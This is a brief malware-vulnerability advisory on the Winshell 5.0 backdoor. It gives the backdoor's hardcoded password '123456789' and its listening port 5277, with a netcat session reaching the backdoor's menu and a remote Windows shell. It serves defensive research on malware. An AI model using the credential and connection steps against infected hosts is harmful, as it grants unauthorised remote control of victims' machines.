Backdoor.Win32.Winshell.5_0 MVID-2022-0633 Hardcoded Credential

Backdoor.Win32.Winshell.5_0 malware suffers from a hardcoded credential vulnerability.

SHA-256 | 201d48fd8e208d4a8f0f5fe13f6ea04030c8b92edf569417c28e11967d421e3b

Discovery / credits: Malvuln (John Page aka hyp3rlinx) (c) 2022
Original source:
Contact: [email protected]

Threat: Backdoor.Win32.Winshell.5_0
Vulnerability: Weak Hardcoded Credentials
Description: The malware is UPX packed, listens on TCP port 5277 and requires authentication for remote access. However, the password "123456789" is weak and hardcoded within the PE file. Unpacking the executable, easily reveals the cleartext password.
Family: Winshell
Type: PE
MD5: 5bc5f72d19019a2fa3b75896e82ae1e5
Vuln ID: MVID-2022-0633
Disclosure: 09/06/2022

C:\>nc64.exe x.x.x.x 5277

WinShell v5.0 (C)2002

? for help

i Install
r Remove
p Path
b reBoot
d shutDown
s Shell
x eXit
q Quit


? for help
Microsoft Windows [Version 10.0.16299.309]
(c) 2017 Microsoft Corporation. All rights reserved.


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